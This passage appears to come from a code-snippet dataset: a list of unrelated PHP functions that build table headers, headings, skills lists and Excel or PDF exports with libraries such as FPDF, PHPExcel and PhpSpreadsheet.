setHeadings($headings);", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "public static function get_question_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('qnumber', 'mod_simplelesson');\n $headerdata[] = get_string('question_name', 'mod_simplelesson');\n $headerdata[] = get_string('question_text', 'mod_simplelesson');\n $headerdata[] = get_string('questionscore', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('setpage', 'mod_simplelesson');\n $headerdata[] = get_string('qlinkheader', 'mod_simplelesson');\n\n return $headerdata;\n }", "public function property_title() {\n\n\t\t\t$this->add_package = $this->getAddPackage();\n\n\t\t\t$headline_select = get_field( 'headline_select' );\n\t\t\t$standard_section = get_field( 'practice_type' ) . ' ' . get_field( 'building_type' );\n\t\t\t$custom_section = ( $headline_select == 'Custom Headline' )\n\t\t\t\t? get_field( 'custom_headline' )\n\t\t\t\t: $standard_section;\n\n\t\t\t$location = get_field( 'address_city' ) . ', ' . get_field( 'address_state' );\n\t\t\t$headline = get_field( 'practice_is_for' ) . ' - ' . $custom_section . ' - ' . $location;\n\n\t\t\t$out = '<h3>' . $headline . '</h3>';\n\t\t\t$out .= '<div class=\"hr hr-default\"><span class=\"hr-inner \"><span class=\"hr-inner-style\"></span></span></div>';\n\n\n\t\t\treturn $out;\n\t\t}", "public function test_shows_skills_list()\n {\n factory(Skill::class)->create(['name' => 'PHP']);\n factory(Skill::class)->create(['name' => 'JS']);\n factory(Skill::class)->create(['name' => 'SQL']);\n\n $this->get('/habilidades')\n \t\t ->assertStatus(200)\n \t\t ->assertSeeInOrder([\n \t\t \t'JS',\n \t\t \t'PHP',\n \t\t \t'SQL'\n \t\t ]);\n }", "public function get_game_three_heading () {\n\t\treturn get_field('field_5b4770942c38b', $this->get_id());\n\t}", "private function convertSkillsForPDF($candidates) {\n $candidate = $candidates['rq'];\n $skills = $candidate->get(\"skillID\");\n $skill_output = \"\";\n if ($skills) {\n foreach (preg_split(\"/\\n/\", $skills) as $skill) {\n $skill_output .= $skill.\"<br>\\n\";\n }\n }\n $ret['List of Skills']['Question'][] = \"List of Skills\";\n $ret['List of Skills']['Bullhorn'] = '';\n $ret['List of Skills']['WorldApp'] = $skill_output;\n $ret['List of Skills']['Plum'] = $skill_ouput;\n $ret['List of Skills']['repeat'] = 1;\n return $ret;\n }", "public function getHeading()\n {\n return $this->heading;\n }", "function wpex_portfolio_related_heading() {\n\n\t// Get heading text\n\t$heading = wpex_get_mod( 'portfolio_related_title' );\n\n\t// Fallback\n\t$heading = $heading ? $heading : __( 'Related Projects', 'wpex' );\n\n\t// Translate heading with WPML\n\t$heading = wpex_translate_theme_mod( 'portfolio_related_title', $heading );\n\n\t// Return heading\n\treturn $heading;\n\n}", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "function showHeaquarters() \r\n\t{\r\n\t\t$valuesHeadquarters = $this->Headquarter->find('all', array('order' => 'Headquarter.headquarter_name ASC'));\r\n\t\t$x=0;\r\n\t\tforeach ($valuesHeadquarters as $value)\r\n\t\t{\r\n\t\t\tif($x==0)\r\n\t\t\t\t$resultadoHeadquarters[0] = 'Seleccione una jefatura';\r\n\t\t\telse\r\n\t\t\t\t$resultadoHeadquarters[$value['Headquarter']['id']]= $value['Headquarter']['headquarter_name'];\r\n\t\t\t\t\r\n\t\t\t$x++;\r\n\t\t}\r\n\t\t\r\n\t\treturn $resultadoHeadquarters;\r\n\t}", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "public function getTitleSection()\n {\n return $this->getFirstFieldValue('245', ['n', 'p']);\n }", "public function skills() {\n return $this->skills;\n }", "public function getSkills()\n {\n return $this->skills;\n }", "function create_pool_header()\n{\n $header =\n \"<thead>\n <tr>\n <th scope='col' class='rounded-company'>Pool</th>\n <th scope='col' class='rounded-q1'>Priority</th>\n <th scope='col' class='rounded-q1' colspan='2'>URL</th>\n <th scope='col' class='rounded-q1'>Gets</th>\n <th scope='col' class='rounded-q1'>Accepts</th>\n <th scope='col' class='rounded-q1'>Rejects</th>\n <th scope='col' class='rounded-q1'>Discards</th>\n <th scope='col' class='rounded-q1'>Stales</th>\n <th scope='col' class='rounded-q1'>Get Fails</th>\n <th scope='col' class='rounded-q1'>Rem fails</th>\n </tr>\n </thead>\";\n\n return $header;\n}", "function section_score_header($section_score, $scoring = 'score')\n {\n if($scoring == 'percentile') {\n return 'Your Score: '.str_ordinal($section_score);\n } else if($scoring == 'stanine') {\n return 'Your Stanine: '.$section_score;\n }\n\n return 'Your Score: '.$section_score;\n }", "function getSkillTable($val, $typ) {\n $content = '';\n $content .= '<div class=\"' . $typ . ' selectable\">';\n foreach ($val as $atk) {\n if ($atk -> getTyp() == 'p') {\n $atkTyp = 'Physical';\n } elseif ($atk -> getTyp() == 'm') {\n $atkTyp = 'Magical';\n } elseif ($atk -> getTyp() == 'a') {\n $atkTyp = 'Special';\n }\n $content .= '\n <div class=\"skillcontainer\">\n <a href=\"#\" rel=\"' . $atk -> getId() . '\" class=\"skill\" title=\"' . $atk -> getName() . '\"><img src=\"' . getAtkImag($atk -> getId()) . '\" /></a>\n <span class=\"skilltext\"><b>' . $atk -> getName() . '</b><br />Damage ' . $atk -> getDmgPt() . '<br />Typ ' . $atkTyp . '</span>\n </div>';\n }\n $content .= '</div>';\n echo $content;\n}", "public static function excelRegionsHeadings()\n {\n return [\n 'Region',\n ];\n }", "function\ttableHead() {\n\t\t//\n\t\t//\t\tfpdf_set_active_font( $this->myfpdf, $this->fontId, mmToPt(3), false, false );\n\t\t//\t\tfpdf_set_fill_color( $this->myfpdf, ul_color_from_rgb( 0.1, 0.1, 0.1 ) );\n\t\t$frm\t=\t$this->myDoc->currMasterPage->getFrameByFlowName( \"Auto\") ;\n\t\t$frm->currVerPos\t+=\t3.5 ;\t\t// now add some additional room for readability\n\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTHeaderPS) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\tif ( $actRow->isEnabled()) {\n\t\t\t\t$this->punchTableRow( $actRow) ;\n\t\t\t}\n\t\t}\n//\t\t$this->frmContent->currVerPos\t+=\t1.5 ;\t\t// now add the height of everythign we have output'\n\t\tif ( $this->inTable) {\n\t\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTHeaderCF) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\t\tif ( $actRow->isEnabled()) {\n\t\t\t\t\t$this->punchTableRow( $actRow) ;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$frm->currVerPos\t+=\t1.5 ;\t\t// now add the height of everythign we have output'\n\t\t}\n\t}", "function heading( $data = '', $h = '1', $attributes = '' )\n\t{\n\t\treturn '<h' . $h . _stringify_attributes( $attributes ) . '>' . $data . '</h' . $h . '>';\n\t}", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "public function getHighScoresRows(){\n $rank = 1;\n $listContent = \"\";\n $highScores = $this->_getHighScores();\n\n foreach ($highScores as $oneScore){\n $listContent .= \"<tr>\n <td>\" . $rank . \"</td>\n <td>\" . htmlentities($oneScore->playerName). \"</td>\n <td>\" . htmlentities($oneScore->completionTime) . \"</td>\n <td>\" . htmlentities($oneScore->difficulty) . \"</td>\n </tr>\";\n\n $rank++;\n }\n\n return $listContent;\n }", "function getHeadline($id,$columns,$tablename,$idcolumn){\n\t\t$headline=\"\";\n\t\tif($idcolumn!=\"\"){\n\t\t\t$db = Database::Instance();\n\t\t\t$dataArr = $db->getDataFromTable(array($idcolumn=>$id),$tablename,$columns);\n\t\t\t$totalData = count($dataArr);\n\t\t\tif($totalData){\n\t\t\t\t$headline=$dataArr[0][$columns];\n\t\t\t}\n\t\t}\n\t\treturn($headline);\n\t}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nOrganizational Units\nMAINHEADING;\n }", "function constructTableHead() {\n\n $header = '<tr><th>Country</th>';\n if (isset($_GET['pop'])) {\n $header .= '<th>Total Population</th>';\n }\n if (isset($_GET['birth'])) {\n $header .= '<th>Birth Rate</th>';\n }\n if (isset($_GET['death'])) {\n $header .= '<th>Death Rate</th>';\n }\n\n $header .= '</tr>';\n return $header;\n }", "function TituloCampos()\n\t{\n\t\t$this->Ln();\n\t\t$this->SetFillColor(244,249,255);\n\t\t$this->SetDrawColor(225,240,255);\n\t\t$this->SetLineWidth(.2);\n\t\t//dimenciones de cada campo\n\t\t$w=array(20,74,42,44);\n\t\t$header=array(strtoupper(_('numero')),strtoupper(_('nombre')),strtoupper(_('familia')),strtoupper(_('unidad medida')));\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->SetX(15);\n\t\tfor($k=0;$k<count($header);$k++)\n\t\t\t$this->Cell($w[$k],7,$header[$k],1,0,'J',1);\n\t\t$this->Ln();\n\t\treturn $w;\n\t}", "public function getSkill();", "public function getHeadlines()\n {\n return $this->headlines;\n }", "public function getHeadlines()\n {\n return $this->headlines;\n }", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function category_skills(){\n $this->autoRender = false;\n $this->BullhornConnection->BHConnect();\n $categories = implode(',', $this->getCategories());\n $result = $this->getSkills($categories,'category_id'); \n if(isset($result['data']) && !empty($result['data'])){\n echo json_encode(\n [\n 'status' => 1,\n 'data' => $result['data'] \n ]\n ); \n exit;\n }else{\n echo json_encode(\n [\n 'status' => 0,\n 'data' => []\n ]\n );\n exit;\n }\n }", "function getHead($coment){\r\n\t\tif(isset($this->Head[$coment])) return $this->Head[$coment];\r\n\t\treturn '';\r\n\t}", "public function index(){\n $skills_data = array();\n $data['talent_profile'] = TalentProfile::get();\n \n $skills = new Skills();\n $data['expertise'] = $skills->expertise();\n $data['software'] = $skills->software();\n $data['writing'] = $skills->writing();\n $data['multimedia'] = $skills->multimedia();\n $data['administration'] = $skills->administration();\n $data['engineering'] = $skills->engineering();\n $data['marketing'] = $skills->marketing();\n $data['humanresource'] = $skills->humanresource();\n $data['manufacturing'] = $skills->manufacturing();\n $data['computing'] = $skills->computing();\n $data['translation'] = $skills->translation();\n $data['localservices'] = $skills->localservices();\n $data['otherskills'] = $skills->otherskills();\n\n if($data){\n return static::response(null,$data, 201, 'success');\n }\n return static::response('No Data Fetched', null, 200, 'success');\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "private function get_csv_header($questions){\n $columns = array_map(function($question){\n return $question->question;\n },$questions);\n\n return $columns;\n }", "public function getH1()\n\t{\n\t\treturn empty($this->h1) ? $this->name : $this->h1;\n\t}", "public function mombo_main_headings_color() {\n \n \n }", "public function getTitleOfSeries()\n\t{\n\t\treturn $this->titleOfSeries;\n\t}", "function titulopersonal(){\n print (\"\\n<tr>\");\n if($this->titulo !=\"\")\n foreach ($this->titulo as $titulo){\n print (\"\\n<th>$titulo</th>\");\n }\n print (\"\\n<tr>\"); \n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nWorking with Data in C#\nMAINHEADING;\n }", "public function getSource()\n {\n return 'employee_skills';\n }", "public function getAllSkills() {\n $result = $this->product_model->getSkills();\n echo json_encode($result);\n }", "function wv_commission_table_heading_list($type = \"thead\") {\n $output = \"\";\n\n //verify the header and footer of the table list\n $type = ($type == \"thead\") ? \"thead\" : \"tfoot\";\n\n $output .=\"<$type>\";\n $output .=\" <tr>\n <th>#OrderId</th>\n <th>Order Date</th>\n <th>ProductName</th>\n <th>Vendor</th>\n <th>Commission</th>\n <th>Status</th>\n <th>Commission Date</th>\n </tr>\";\n\n $output .=\"</$type>\";\n return $output;\n }", "protected function getTableHeader() {\n /** @var \\Drupal\\webform\\WebformInterface $webform */\n $webform = $this->getEntity();\n $header = [];\n $header['title'] = $this->t('Title');\n\n $header['key'] = [\n 'data' => $this->t('Key'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['type'] = [\n 'data' => $this->t('Type'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['correct_answer'] = $this->t('Answer');\n $header['weight'] = $this->t('Weight');\n $header['operations'] = $this->t('Operations');\n// $header['answer'] = [\n// 'data' => $this->t('Answer'),\n// 'class' => [RESPONSIVE_PRIORITY_LOW],\n// ];\n//\n// $header['required'] = [\n// 'data' => $this->t('Required'),\n// 'class' => ['webform-ui-element-required', RESPONSIVE_PRIORITY_LOW],\n// ];\n// $header['parent'] = $this->t('Parent');\n// $header['operations'] = [\n// 'data' => $this->t('Operations'),\n// 'class' => ['webform-ui-element-operations'],\n// ];\n return $header;\n }", "public function homework_feed() {\n\t\t\t// ->wherePivot('complete', '=', 'false')->orWherePivot('updated_at', '>', Carbon::now()->subMinutes(15))\n\t\t\t$items = $this->homework()->orderBy('end', 'ASC')->where('end', '>', date(\"Y-m-d H:i:s\", time() - 60 * 60 * 24 * 7))->where('start', '<', date(\"Y-m-d H:i:s\", time() + 60 * 60 * 24 * 7))->get();\n\t\t\t$headings = [];\n\n\t\t\tforeach ($items as $value) {\n\t\t\t\t$now = Carbon::now();\n\t\t\t\t$index = static::time_index($value->end, $now);\n\t\t\t\t$heading = static::time_heading($value->end, $now);\n\n\t\t\t\tif (!isset($headings[$index]))\n\t\t\t\t\t$headings[$index] = [\n\t\t\t\t\t\t'heading' => $heading,\n\t\t\t\t\t\t'items' => []\n\t\t\t\t\t];\n\n\t\t\t\t$headings[$index]['items'][] = $value;\n\t\t\t}\n\n\t\t\tksort($headings);\n\n\t\t\treturn $headings;\n\t\t}", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}" ]
